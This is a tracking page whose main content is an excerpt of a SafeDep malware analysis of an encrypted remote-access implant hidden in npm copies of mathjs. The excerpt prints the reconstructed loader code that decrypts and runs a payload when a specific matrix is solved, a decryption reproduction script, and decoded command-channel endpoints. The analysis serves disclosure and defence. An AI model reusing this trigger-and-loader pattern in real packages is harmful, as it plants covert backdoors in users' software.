2026-10-11 16:37 UTC

SafeDep reports that published mathmain, mathsbase, and math-universe npm releases contain a matrix-triggered encrypted remote-access implant, making published-package inspection necessary beyond checking default versions or linked GitHub source.

state: seedheat: mediumuncertainty: mediumknownscott: lownpm-supply-chain dependency-security developer-toolsSafeDepJFrognpm

What is this?

SafeDep, an open-source software supply-chain security provider, lists an investigation titled “Why Does an npm Math Library Need an Encrypted Loader?” Its teaser describes a math solver leading to encrypted code in three npm packages, with analysis of loaders, shared artifacts, source differences, and remaining evidence gaps. The supplied snippets do not establish the package names, matrix trigger, remote-access capabilities, affected versions, or JFrog’s role asserted in the case; they also do not establish the specific claimed blind spot in default-version checks.

Why it matters to Scott

At the supported evidence level, this adds an illustration rather than a new position to Scott’s versioned file-triage practice in “WordPress Security Review & Plugin Signal Room”; the radar’s “kenwea-npm-install-sandbox” page already tracks related published-artifact inspection, though not this incident. The supplied material does not establish the claimed runtime trigger or default-version blind spot, and the wiki hits show no use of the affected packages, so there is no demonstrated reason to change Scott’s tooling or claims.
dev:project.wordpress-security-reviewradar:kenwea-npm-install-sandboxradar:concept.dependency-security
queries asked of Scott's wikis
  • coding agent dependency installation trust boundaries
  • published package artifacts versus GitHub source verification
  • dependency scanning version coverage runtime triggers
  • agent harness sandboxing network access secrets
  • npm dependency provenance malware inspection

Measured heat

now 0 pts/hpeak 0 pts/hcomments 0/hpeers p14momentum: steady2 platformsage 578h
points/hour across evidence · reading as of 2026-10-12 02:59:37.977291+11:00 · deterministic, not a model opinion

How the heat travelled

09-17 14:00⭐ origin echo-reconstructedSafeDep reports an encrypted remote-access implant across three mathjs-copying npm packages, reproduces the trigger first reported by JFrog,
SafeDep Team on blog (echo) · attributed from hn.story.49791378
—
09-21 18:33first on hacker news · published · +100.6hWhy Does an NPM Math Library Need an Encrypted Loader?
abhisek
—
09-21 18:33amplified on hacker news 👑hn.story.49791378
abhisek
peak 138 · 37 comments · 100% of case engagement
09-21 19:20our radar first saw it · +101.3hdiscovery anchor: hn.story.49791378—
pace: p74 vs 1032 stories at the 336h mark (now 578h old) — ahead of perplexity-numeric-citation-audit (1.0x), behind microsoft-vibevoice-streaming-asr (1.0x)

Evidence (2) — ⭐ canonical anchor

sourceobjectauthorscorecomments
🟧 hnWhy Does an NPM Math Library Need an Encrypted Loader?
Retrieved article excerpt

Open article · Retrieved 2026-09-21T19:22:53.009151+00:00

[Back to Blog](https://safedep.io/blog)

# Why Does an npm Math Library Need an Encrypted Loader?

- [Security](https://safedep.io/category/security)

SafeDep Team

•  Sep 18, 2026  • 11 min read

On this page  11 sections
    

On this page

 

We found a remote access implant hidden inside `[email protected]`, an npm package that copies the popular `mathjs` library. The malicious code ships encrypted. It stays dormant until a program solves a specific equation with the library. That equation is the key. When the key matches, the package decrypts a payload and runs it. The payload takes commands from the attacker and runs them on the host. It uses a public chat service and a blockchain network for its command channel. This post shows how we found the loader, how we decrypted it, what the payload does, and the indicators you can use to find it.

We started with a [SafeDep analysis of `mathmain`](https://app.safedep.io/community/malysis/01M2Q39B7G9RZSKZ16EZEGBB14) on September 17, 2026. The package looked like a copy of `mathjs` with a different name and obfuscated code. One added call in the solver led us to the loader.

## A solver calls a type check

Near the end of `lusolve()`, we found an extra call in the CommonJS build. The solver had already calculated its result. It then passed data from the lower triangular matrix to `removeSolveValidation()`:

lib/cjs/function/algebra/solver/lusolve.js

```
1



// Readable reconstruction: recovered strings and renamed local variables.



2



l && (q = removeSolveValidation(l._data));



3



4



return x;
```

Here, `l` holds the lower triangular matrix and `x` holds the result. The solver returns `x` unchanged. It assigns the extra call’s return value to `q`, but does not use `q` again.

We followed `removeSolveValidation()` to `isGraph(x)` in `lib/cjs/utils/is.js`. This file contains checks such as `isMatrix` and `isNumber`. The added `isGraph()` function decrypts and loads code:

lib/cjs/utils/is.js

```
1



// Readable reconstruction: recovered strings and renamed local variables.



2



const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';



3



4



function isGraph(x) {



5



const password = JSON.stringify(x);



6



const name = validEvent(STAGE1_BLOB, password);



7



const target = path.join(__dirname, name);



8



const mod = require(event(target, password));



9



10



return (x && mod.validGraph(password)) || false;



11



}
```

`isGraph()` converts its input to a JSON string and uses that string as a password. It first decrypts a filename. It then passes the file path and password to `event()`, and loads the returned path with `require()`.

We have made the loader snippets easier to read by restoring strings and renaming local variables. The hashes at the end of this post identify the original files.

## The matrix data becomes a password

In `lib/cjs/utils/event.js`, we found the decryption functions. They use `scrypt` to turn the password into a key of 256 bits. They then decrypt the data with Advanced Encryption Standard in Galois/Counter Mode (AES-GCM):

lib/cjs/utils/event.js

```
1



// Readable reconstruction: recovered strings and renamed local variables.



2



const key = crypto.scryptSync(password, salt, 32);



3



const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);



4



decipher.setAuthTag(tag);



5



return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
```

The encrypted data has a fixed layout: a salt of 16 bytes, an initialization vector of 12 bytes, and an authentication tag of 16 bytes. The ciphertext follows these fields. The package stores the whole sequence as base64 text.

For calls through the solver, the password is `JSON.stringify(L._data)`. A caller can supply `L` through the object form of `lusolve()`. So the caller must pass matrix data that produces the correct password. We found no password stored in the visible loader.

The encrypted filename has eight bytes of ciphertext. We suspect it names `graph.js`, a file beside the loader whose name also takes eight bytes. We could not confirm this because we did not recover the password.

## The loader writes and runs the file

The `event()` helper decrypts the file, writes the result to disk, and returns the output path:

lib/cjs/utils/event.js

```
1



// Readable reconstruction: recovered strings and renamed local variables.



2



const plaintext = eventEmitter(file, password);



3



const dir = path.dirname(path.resolve(file));



4



const base = path.basename(file).replace(/^enc_/, '');



5



const outPath = path.join(dir, base);



6



fs.writeFileSync(outPath, plaintext);



7



return outPath;
```

If the filename has no `enc_` prefix, the helper overwrites the encrypted file with the decrypted code. The `require()` call in `isGraph()` then loads it. That code would run with the same permissions as the Node.js process.

Three added files contain base64 data instead of normal JavaScript:

| Path under `lib/cjs/utils/` | Size of ciphertext in bytes |
| --- | --- |
| `graph.js` | 20,918 |
| `fraction.js` | 9,084 |
| `bignumber/type.js` | 1,179,416 |

We found no reference to the last two files in the visible loader. The decrypted `graph.js` loads them as later stages, as the payload section shows.

We found no install hooks in the manifest. Importing the package through the path we reviewed does not activate the loader either. The solver must first pass its validation and calculation steps to reach the added call. If the password is wrong, `validEvent()` fails its authentication check before the helper writes any file.

## The same loader appears in two more packages

We searched the npm registry and found two more packages: `mathsbase` and `math-universe`. Across five versions, we found identical loader files, trigger code, solver changes, and two large encrypted files.

The encrypted `graph.js` in `[email protected]` differs from the other copies. The shared files connect these releases. They do not tell us who added the loader or whether someone took over a publisher’s account.

On September 17, npm served `[email protected]` as the default release. That version did not contain this loader. Checking only the default version would have missed the code in `1.0.1`.

On September 19, we checked npm’s download counts for all three packages. These totals cover September 12–18, 2026, across all versions of each package.

| Package | Reported downloads |
| --- | --- |
| [`mathmain`](https://api.npmjs.org/downloads/point/2026-09-12:2026-09-18/mathmain) | 605,157 |
| [`mathsbase`](https://api.npmjs.org/downloads/point/2026-09-12:2026-09-18/mathsbase) | 1,923,059 |
| [`math-universe`](https://api.npmjs.org/downloads/point/2026-09-12:2026-09-18/math-universe) | 569,730 |

npm also reported [zero downloads across the entire registry for September 17](https://api.npmjs.org/downloads/range/2026-09-17:2026-09-18). This makes the earlier zero for `mathmain` unreliable. The packages have no public dependents. They have almost no traffic on the jsDelivr content network. So the counts do not show real installs. We could not determine what produced the volume. These counts do not tell us how many systems installed the packages or whether the encrypted code ran.

## The loader is not in the GitHub source

The `mathsbase` and `math-universe` packages each link to a public GitHub repository. We read both. Neither repository holds the loader:

| Repository | Reviewed commit |
| --- | --- |
| `github[.]com/tinystar8/mathsbase` | `560d97e66140dbf817e04284a7a0c58757d1202e` |
| `github[.]com/mathubio/math-universe` | `da99dd46501c75ba6102a51ef60ebb922174da32` |

The public `math-universe` source ends its solver like this:

```
1



// mathubio/math-universe, commit da99dd46501c75ba6102a51ef60ebb922174da32



2



// src/function/algebra/solver/lusolve.js; original source excerpt.



3



if (q) {



4



x._data = csIpvec(q, x._data);



5



}



6



7



return x;
```

The extra `removeSolveValidation()` call is not there. The npm build has it. The GitHub source does not. So someone added the loader when they published the package, not in the public code.

We also looked for a program that calls the solver with the trigger. We searched GitHub code, lockfiles, and dependency services. We found none. Private projects, and code that search engines miss, stay out of reach.

## Our first attempts did not find the password

We tested 16,922 possible passwords against the encrypted filename. Some came from matrices with zero diagonal entries, which our earlier search had left out.

In a second search, we tested 533 possible passwords against all five distinct encrypted blobs, including the older `graph.js`. We tried common passwords and numeric arrays from the solver’s tests. Neither search found a password that passed the authentication check.

Some passwords appeared in both searches.

We checked the tools with test data and known passwords. The searches finished. None of our guesses worked. The password was not a common value or a test matrix. It was one specific matrix that we found later.

## Cracking the encryption

The password is the JSON form of a matrix lower factor `L`. JFrog first [reported](https://research.jfrog.com/post/equation-of-compromise/) the input that produces it. We then reproduced the result against the `mathmain` files.

The recovered trigger is a 3 by 3 Pascal matrix.

```
1



A = [[1, 1, 1],



2



[1, 2, 3],



3



[1, 3, 6]]
```

A caller passes `A` to `lusolve()`. The solver runs an LU decomposition of `A`. The lower triangular factor `L` becomes `[[1, 0, 0], [1, 1, 0], [1, 0.5, 1]]`. The loader turns `L` into a JSON string. That string is the password.

We confirmed this against the real files. The password is the JSON form of `L`.

```
1



// SafeDep reproduction against [email protected].



2



const A = [



3



[1, 1, 1],



4



[1, 2, 3],



5



[1, 3, 6],



6



];



7



const L = lup(A).L.valueOf(); // [[1,0,0],[1,1,0],[1,0.5,1]]



8



const password = JSON.stringify(L); // '[[1,0,0],[1,1,0],[1,0.5,1]]'



9



10



const blob = Buffer.from(STAGE1_BLOB, 'base64');



11



const key = crypto.scryptSync(password, blob.subarray(0, 16), 32);



12



const d = crypto.createDecipheriv('aes-256-gcm', key, blob.subarray(16, 28));



13



d.setAuthTag(blob.subarray(28, 44));



14



const name = Buffer.concat([d.update(blob.subarray(44)), d.final()]).toString();



15



// name === 'graph.js'
```

The password decrypted the filename to `graph.js`. It also decrypted the three payload files in `mathmain` and in `math-universe`. The `mathmain` payload matches the `math-universe` payload byte for byte. `[email protected]` uses the same password with different encrypted data. So the same password unlocks the whole family.

## Payload analysis

The decrypted files form a small remote access implant. Each file has one job. The findings below come from our own static review of the decrypted code.

The decrypted `graph.js` is the first stage. The loader runs it with `require()` after decryption. It reads host data with `os` and `fs`. It generates an X25519 key pair with the Node `crypto` module through `generateKeyPairSync` and `diffieHellman`. It runs shell commands with `child_process` through `spawn` and `execSync`. It reads a smart contract on the Base Sepolia test network with a bundled copy of `ethers`. It reports to Slack `chat.postMessage` and to `api.telegram.org`. It then loads `bignumber/type.js` and `fraction.js` as later stages. The network details sit in the file as base64 text.

```
1



# Decoded constants from decrypted graph.js ([email protected]).



2



Base Sepolia contract   0xac0bfC4C48A679b667732128278EACBA1c191894



3



RPC (Infura)            base-sepolia.infura[.]io/v3/dc7257d09fab42eca2c354c32fec1938



4



RPC (Alchemy)           base-sepolia.g.alchemy[.]com/v2/D2-TbkB2m05WXSnSDOCD
abhisek13837
🟧 echo.blog ⭐SafeDep reports an encrypted remote-access implant across three mathjs-copying npm packages, reproduces the trigger first reported by JFrog,SafeDep Team——

Interpretation history

Decision trace